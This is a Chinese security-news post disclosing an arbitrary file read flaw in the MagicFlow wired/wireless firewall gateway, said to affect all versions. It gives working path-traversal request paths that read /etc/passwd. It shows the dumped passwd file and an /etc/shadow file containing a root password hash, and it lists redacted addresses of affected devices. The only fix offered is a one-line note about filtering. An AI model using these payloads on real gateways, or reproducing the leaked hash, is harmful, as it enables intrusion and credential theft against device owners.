首页 > 安全资讯 >

MagicFlow有线无线一体化防火墙网关系统任意文件读取漏洞

16-06-28

MagicFlow有线无线一体化防火墙网关系统任意文件读取漏洞 MagicFlow有线无线一体化防火墙网关,是有线无线网络融合的一种灵活软件刀片构架集成硬件防火墙设备,安装了基本软件刀片,形成一种综合、即用的

MagicFlow有线无线一体化防火墙网关系统任意文件读取漏洞

MagicFlow有线无线一体化防火墙网关,是有线无线网络融合的一种灵活软件刀片构架集成硬件防火墙设备,安装了基本软件刀片,形成一种综合、即用的安全网关解决方案。集成安全刀片,管理刀片,网络基础刀片等多种功能一体化的系统,全面满足下一代企业级有线无线一体组网需求,可持续、简单、高效地提供下一代网络组网、安全、管理需要

大概简介

貌似全版本型号通杀
 

1.png




 

1.png





存在的路径几乎都能进行利用



这里只拿其中一个路径进行利用
 

 

1.png


 

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
saslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin
postfix:x:89:89::/var/spool/postfix:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
postgres:x:500:500::/home/postgres:/bin/bash


 

1.png


 

2.png




 

root:$6$WlwYInfswISNikU7$N370hMHQ9lKgaVZHi/.2mDz7GCfLJSL8jt/Ll/.AsaBuO/TNY2J8K2PYY3PkeFOLNx3DuKmmoAiTYd9KLSoXe/:16707:0:99999:7:::
bin:*:15628:0:99999:7:::
daemon:*:15628:0:99999:7:::
adm:*:15628:0:99999:7:::
lp:*:15628:0:99999:7:::
sync:*:15628:0:99999:7:::
shutdown:*:15628:0:99999:7:::
halt:*:15628:0:99999:7:::
mail:*:15628:0:99999:7:::
uucp:*:15628:0:99999:7:::
operator:*:15628:0:99999:7:::
games:*:15628:0:99999:7:::
gopher:*:15628:0:99999:7:::
ftp:*:15628:0:99999:7:::
nobody:*:15628:0:99999:7:::
vcsa:!!:16707::::::
saslauth:!!:16707::::::
postfix:!!:16707::::::
sshd:!!:16707::::::
postgres:!!:16707:0:99999:7:::
/css/../../../../../../../../etc/passwd 
/ext/resources/images/default/../../../../../../../../etc/passwd



很多不一一列举


附案例地址:

**.**.**.**/

**.**.**.**/

**.**.**.**/

**.**.**.**/

**.**.**.**/

**.**.**.**/

**.**.**.**/

**.**.**.**/

解决方案:

操作函数以及过滤

相关文章
最新文章
热点推荐